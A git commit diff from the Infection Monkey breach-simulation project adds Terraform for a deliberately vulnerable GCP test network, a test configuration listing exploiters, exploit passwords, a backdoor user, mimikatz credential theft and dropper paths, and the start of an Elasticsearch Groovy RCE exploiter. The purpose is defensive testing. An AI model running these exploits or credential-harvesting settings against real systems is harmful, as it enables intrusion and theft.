forked from p15670423/monkey
BACK_MERGE: Merge branch 'develop' into pr/278
This commit is contained in:
commit
b714ef7a36
|
@ -68,3 +68,18 @@ bin
|
|||
/monkey/monkey_island/cc/server.crt
|
||||
/monkey/monkey_island/cc/server.csr
|
||||
/monkey/monkey_island/cc/ui/node_modules/
|
||||
|
||||
# User files
|
||||
/monkey/monkey_island/cc/userUploads
|
||||
|
||||
# MonkeyZoo
|
||||
# Network status files
|
||||
MonkeyZoo/*
|
||||
# Except
|
||||
!MonkeyZoo/main.tf
|
||||
!MonkeyZoo/variables.tf
|
||||
!MonkeyZoo/README.MD
|
||||
!MonkeyZoo/config.tf
|
||||
!MonkeyZoo/MonkeyZooDocs.pdf
|
||||
|
||||
|
||||
|
|
|
@ -0,0 +1,3 @@
|
|||
# MonkeyZoo
|
||||
These files are used to deploy Infection Monkey's test network on GCP.<br>
|
||||
For more information view docs/fullDocs.md
|
|
@ -0,0 +1,206 @@
|
|||
{
|
||||
"basic": {
|
||||
"credentials": {
|
||||
"exploit_password_list": [
|
||||
"`))jU7L(w}",
|
||||
"3Q=(Ge(+&w]*",
|
||||
"^NgDvY59~8",
|
||||
"Ivrrw5zEzs",
|
||||
"YbS,<tpS.2av"
|
||||
],
|
||||
"exploit_user_list": [
|
||||
"m0nk3y"
|
||||
]
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"general": {
|
||||
"blocked_ips": [],
|
||||
"depth": 2,
|
||||
"local_network_scan": false,
|
||||
"subnet_scan_list": [
|
||||
"10.2.2.2",
|
||||
"10.2.2.3",
|
||||
"10.2.2.4",
|
||||
"10.2.2.5",
|
||||
"10.2.2.8",
|
||||
"10.2.2.9",
|
||||
"10.2.1.9",
|
||||
"10.2.1.10",
|
||||
"10.2.2.11",
|
||||
"10.2.2.12",
|
||||
"10.2.2.14",
|
||||
"10.2.2.15",
|
||||
"10.2.2.16",
|
||||
"10.2.2.18",
|
||||
"10.2.2.19",
|
||||
"10.2.2.20",
|
||||
"10.2.2.21",
|
||||
"10.2.2.23",
|
||||
"10.2.2.24"
|
||||
]
|
||||
},
|
||||
"network_analysis": {
|
||||
"inaccessible_subnets": []
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"servers": {
|
||||
"command_servers": [
|
||||
"192.168.56.1:5000",
|
||||
"158.129.18.132:5000"
|
||||
],
|
||||
"current_server": "192.168.56.1:5000",
|
||||
"internet_services": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
]
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"general": {
|
||||
"exploiter_classes": [
|
||||
"SmbExploiter",
|
||||
"WmiExploiter",
|
||||
"RdpExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter"
|
||||
],
|
||||
"skip_exploit_if_file_exist": false
|
||||
},
|
||||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
|
||||
"ms08_067_remote_user_pass": "Password1!",
|
||||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home"
|
||||
],
|
||||
"sambacry_shares_not_to_check": [
|
||||
"IPC$",
|
||||
"print$"
|
||||
],
|
||||
"sambacry_trigger_timeout": 5
|
||||
},
|
||||
"smb_service": {
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey"
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"classes": {
|
||||
"finger_classes": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
],
|
||||
"scanner_class": "TcpScanner"
|
||||
},
|
||||
"dropper": {
|
||||
"dropper_date_reference_path_linux": "/bin/sh",
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
|
||||
"dropper_try_move_first": true
|
||||
},
|
||||
"exploits": {
|
||||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [],
|
||||
"exploit_ssh_keys": []
|
||||
},
|
||||
"general": {
|
||||
"keep_tunnel_open_time": 60,
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
},
|
||||
"kill_file": {
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not"
|
||||
},
|
||||
"logging": {
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"monkey_log_path_linux": "/tmp/user-1563",
|
||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||
"send_log_to_server": true
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"behaviour": {
|
||||
"self_delete_in_cleanup": false,
|
||||
"serialize_config": false,
|
||||
"use_file_logging": true
|
||||
},
|
||||
"general": {
|
||||
"alive": true,
|
||||
"post_breach_actions": [
|
||||
"BackdoorUser"
|
||||
]
|
||||
},
|
||||
"life_cycle": {
|
||||
"max_iterations": 1,
|
||||
"retry_failed_explotation": true,
|
||||
"timeout_between_iterations": 100,
|
||||
"victims_max_exploit": 30,
|
||||
"victims_max_find": 30
|
||||
},
|
||||
"system_info": {
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"ping_scanner": {
|
||||
"ping_scan_timeout": 1000
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"HTTP_PORTS": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 200,
|
||||
"tcp_scan_timeout": 3000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
Binary file not shown.
After Width: | Height: | Size: 225 KiB |
|
@ -0,0 +1,10 @@
|
|||
provider "google" {
|
||||
project = "test-000000"
|
||||
region = "europe-west3"
|
||||
zone = "europe-west3-b"
|
||||
credentials = "${file("testproject-000000-0c0b000b00c0.json")}"
|
||||
}
|
||||
locals {
|
||||
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com"
|
||||
monkeyzoo_project="guardicore-22050661"
|
||||
}
|
|
@ -0,0 +1,76 @@
|
|||
resource "google_compute_firewall" "islands-in" {
|
||||
name = "islands-in"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
protocol = "tcp"
|
||||
ports = ["22", "443", "3389", "5000"]
|
||||
}
|
||||
|
||||
direction = "INGRESS"
|
||||
priority = "65534"
|
||||
target_tags = ["island"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "islands-out" {
|
||||
name = "islands-out"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
protocol = "tcp"
|
||||
}
|
||||
|
||||
direction = "EGRESS"
|
||||
priority = "65534"
|
||||
target_tags = ["island"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "monkeyzoo-in" {
|
||||
name = "monkeyzoo-in"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
protocol = "all"
|
||||
}
|
||||
|
||||
direction = "INGRESS"
|
||||
priority = "65534"
|
||||
source_ranges = ["10.2.2.0/24"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "monkeyzoo-out" {
|
||||
name = "monkeyzoo-out"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
protocol = "all"
|
||||
}
|
||||
|
||||
direction = "EGRESS"
|
||||
priority = "65534"
|
||||
destination_ranges = ["10.2.2.0/24"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "tunneling-in" {
|
||||
name = "tunneling-in"
|
||||
network = "${google_compute_network.tunneling.name}"
|
||||
|
||||
allow {
|
||||
protocol = "all"
|
||||
}
|
||||
|
||||
direction = "INGRESS"
|
||||
source_ranges = ["10.2.1.0/28"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "tunneling-out" {
|
||||
name = "tunneling-out"
|
||||
network = "${google_compute_network.tunneling.name}"
|
||||
|
||||
allow {
|
||||
protocol = "all"
|
||||
}
|
||||
|
||||
direction = "EGRESS"
|
||||
destination_ranges = ["10.2.1.0/28"]
|
||||
}
|
|
@ -0,0 +1,91 @@
|
|||
//Custom cloud images
|
||||
data "google_compute_image" "hadoop-2" {
|
||||
name = "hadoop-2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "hadoop-3" {
|
||||
name = "hadoop-3"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "elastic-4" {
|
||||
name = "elastic-4"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "elastic-5" {
|
||||
name = "elastic-5"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
|
||||
/*
|
||||
data "google_compute_image" "sambacry-6" {
|
||||
name = "sambacry-6"
|
||||
}
|
||||
*/
|
||||
data "google_compute_image" "shellshock-8" {
|
||||
name = "shellshock-8"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "tunneling-9" {
|
||||
name = "tunneling-9-v2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "tunneling-10" {
|
||||
name = "tunneling-10-v2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "sshkeys-11" {
|
||||
name = "sshkeys-11-v2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "sshkeys-12" {
|
||||
name = "sshkeys-12-v2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "mimikatz-14" {
|
||||
name = "mimikatz-14-v2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "mimikatz-15" {
|
||||
name = "mimikatz-15"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "mssql-16" {
|
||||
name = "mssql-16"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "weblogic-18" {
|
||||
name = "weblogic-18"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "weblogic-19" {
|
||||
name = "weblogic-19-v2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "smb-20" {
|
||||
name = "smb-20"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "scan-21" {
|
||||
name = "scan-21"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "scan-22" {
|
||||
name = "scan-22"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "struts2-23" {
|
||||
name = "struts2-23"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "struts2-24" {
|
||||
name = "struts-24-v2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "island-linux-250" {
|
||||
name = "island-linux-250"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "island-windows-251" {
|
||||
name = "island-windows-251"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
|
@ -0,0 +1,431 @@
|
|||
|
||||
// Local variables
|
||||
locals {
|
||||
default_ubuntu="${google_compute_instance_template.ubuntu16.self_link}"
|
||||
default_windows="${google_compute_instance_template.windows2016.self_link}"
|
||||
}
|
||||
|
||||
resource "google_compute_network" "monkeyzoo" {
|
||||
name = "monkeyzoo"
|
||||
auto_create_subnetworks = false
|
||||
}
|
||||
|
||||
resource "google_compute_network" "tunneling" {
|
||||
name = "tunneling"
|
||||
auto_create_subnetworks = false
|
||||
}
|
||||
|
||||
resource "google_compute_subnetwork" "monkeyzoo-main" {
|
||||
name = "monkeyzoo-main"
|
||||
ip_cidr_range = "10.2.2.0/24"
|
||||
network = "${google_compute_network.monkeyzoo.self_link}"
|
||||
}
|
||||
|
||||
resource "google_compute_subnetwork" "tunneling-main" {
|
||||
name = "tunneling-main"
|
||||
ip_cidr_range = "10.2.1.0/28"
|
||||
network = "${google_compute_network.tunneling.self_link}"
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "hadoop-2" {
|
||||
name = "hadoop-2"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.hadoop-2.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.2"
|
||||
}
|
||||
// Add required ssh keys for hadoop service and restart it
|
||||
metadata_startup_script = "[ ! -f /home/vakaris_zilius/.ssh/authorized_keys ] && sudo cat /home/vakaris_zilius/.ssh/id_rsa.pub >> /home/vakaris_zilius/.ssh/authorized_keys && sudo reboot"
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "hadoop-3" {
|
||||
name = "hadoop-3"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.hadoop-3.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.3"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "elastic-4" {
|
||||
name = "elastic-4"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.elastic-4.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.4"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "elastic-5" {
|
||||
name = "elastic-5"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.elastic-5.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.5"
|
||||
}
|
||||
}
|
||||
|
||||
/* Couldn't find ubuntu packages for required samba version (too old).
|
||||
resource "google_compute_instance_from_template" "sambacry-6" {
|
||||
name = "sambacry-6"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.sambacry-6.self_link}"
|
||||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.6"
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
/* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
|
||||
resource "google_compute_instance_from_template" "sambacry-7" {
|
||||
name = "sambacry-7"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk {
|
||||
initialize_params {
|
||||
// Add custom image to cloud
|
||||
image = "ubuntu32"
|
||||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.7"
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
resource "google_compute_instance_from_template" "shellshock-8" {
|
||||
name = "shellshock-8"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.shellshock-8.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.8"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "tunneling-9" {
|
||||
name = "tunneling-9"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.tunneling-9.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="tunneling-main"
|
||||
network_ip="10.2.1.9"
|
||||
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.9"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "tunneling-10" {
|
||||
name = "tunneling-10"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.tunneling-10.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="tunneling-main"
|
||||
network_ip="10.2.1.10"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "sshkeys-11" {
|
||||
name = "sshkeys-11"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.sshkeys-11.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.11"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "sshkeys-12" {
|
||||
name = "sshkeys-12"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.sshkeys-12.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.12"
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
resource "google_compute_instance_from_template" "rdpgrinder-13" {
|
||||
name = "rdpgrinder-13"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.rdpgrinder-13.self_link}"
|
||||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.13"
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
resource "google_compute_instance_from_template" "mimikatz-14" {
|
||||
name = "mimikatz-14"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.mimikatz-14.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.14"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "mimikatz-15" {
|
||||
name = "mimikatz-15"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.mimikatz-15.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.15"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "mssql-16" {
|
||||
name = "mssql-16"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.mssql-16.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.16"
|
||||
}
|
||||
}
|
||||
|
||||
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
|
||||
resource "google_compute_instance_from_template" "upgrader-17" {
|
||||
name = "upgrader-17"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.upgrader-17.self_link}"
|
||||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.17"
|
||||
access_config {
|
||||
// Cheaper, non-premium routing
|
||||
network_tier = "STANDARD"
|
||||
}
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
resource "google_compute_instance_from_template" "weblogic-18" {
|
||||
name = "weblogic-18"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.weblogic-18.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.18"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "weblogic-19" {
|
||||
name = "weblogic-19"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.weblogic-19.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.19"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "smb-20" {
|
||||
name = "smb-20"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.smb-20.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.20"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "scan-21" {
|
||||
name = "scan-21"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.scan-21.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.21"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "scan-22" {
|
||||
name = "scan-22"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.scan-22.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.22"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "struts2-23" {
|
||||
name = "struts2-23"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.struts2-23.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.23"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "struts2-24" {
|
||||
name = "struts2-24"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.struts2-24.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.24"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "island-linux-250" {
|
||||
name = "island-linux-250"
|
||||
machine_type = "n1-standard-2"
|
||||
tags = ["island", "linux", "ubuntu16"]
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.island-linux-250.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.250"
|
||||
access_config {
|
||||
// Cheaper, non-premium routing (not available in some regions)
|
||||
// network_tier = "STANDARD"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "island-windows-251" {
|
||||
name = "island-windows-251"
|
||||
machine_type = "n1-standard-2"
|
||||
tags = ["island", "windows", "windowsserver2016"]
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.island-windows-251.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.251"
|
||||
access_config {
|
||||
// Cheaper, non-premium routing (not available in some regions)
|
||||
// network_tier = "STANDARD"
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,45 @@
|
|||
resource "google_compute_instance_template" "ubuntu16" {
|
||||
name = "ubuntu16"
|
||||
description = "Creates ubuntu 16.04 LTS servers at europe-west3-a."
|
||||
|
||||
tags = ["test-machine", "ubuntu16", "linux"]
|
||||
|
||||
machine_type = "n1-standard-1"
|
||||
can_ip_forward = false
|
||||
|
||||
disk {
|
||||
source_image = "ubuntu-os-cloud/ubuntu-1604-lts"
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
access_config {
|
||||
// Cheaper, non-premium routing
|
||||
network_tier = "STANDARD"
|
||||
}
|
||||
}
|
||||
service_account {
|
||||
email ="${local.service_account_email}"
|
||||
scopes=["cloud-platform"]
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_template" "windows2016" {
|
||||
name = "windows2016"
|
||||
description = "Creates windows 2016 core servers at europe-west3-a."
|
||||
|
||||
tags = ["test-machine", "windowsserver2016", "windows"]
|
||||
|
||||
machine_type = "n1-standard-1"
|
||||
can_ip_forward = false
|
||||
|
||||
disk {
|
||||
source_image = "windows-cloud/windows-2016"
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
}
|
||||
service_account {
|
||||
email="${local.service_account_email}"
|
||||
scopes=["cloud-platform"]
|
||||
}
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
from enum import Enum
|
||||
|
||||
|
||||
class ScanStatus(Enum):
|
||||
# Technique wasn't scanned
|
||||
UNSCANNED = 0
|
||||
# Technique was attempted/scanned
|
||||
SCANNED = 1
|
||||
# Technique was attempted and succeeded
|
||||
USED = 2
|
|
@ -161,6 +161,10 @@ class Configuration(object):
|
|||
|
||||
keep_tunnel_open_time = 60
|
||||
|
||||
# Monkey files directories
|
||||
monkey_dir_linux = '/tmp/monkey_dir'
|
||||
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir'
|
||||
|
||||
###########################
|
||||
# scanners config
|
||||
###########################
|
||||
|
@ -267,6 +271,10 @@ class Configuration(object):
|
|||
extract_azure_creds = True
|
||||
|
||||
post_breach_actions = []
|
||||
custom_PBA_linux_cmd = ""
|
||||
custom_PBA_windows_cmd = ""
|
||||
PBA_linux_filename = None
|
||||
PBA_windows_filename = None
|
||||
|
||||
|
||||
WormConfiguration = Configuration()
|
||||
|
|
|
@ -28,6 +28,9 @@
|
|||
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
|
||||
monkey_dir_linux = '/tmp/monkey_dir',
|
||||
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir',
|
||||
|
||||
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not",
|
||||
|
@ -98,4 +101,8 @@
|
|||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30,
|
||||
"post_breach_actions" : []
|
||||
custom_PBA_linux_cmd = ""
|
||||
custom_PBA_windows_cmd = ""
|
||||
PBA_linux_filename = None
|
||||
PBA_windows_filename = None
|
||||
}
|
||||
|
|
|
@ -8,7 +8,8 @@ import json
|
|||
import logging
|
||||
import requests
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX
|
||||
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
|
||||
DOWNLOAD_TIMEOUT
|
||||
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
|
||||
|
||||
import re
|
||||
|
@ -47,7 +48,11 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
def exploit(self, url, command):
|
||||
command = re.sub(r"\\", r"\\\\\\\\", command)
|
||||
payload = self.JAVA_CMD % command
|
||||
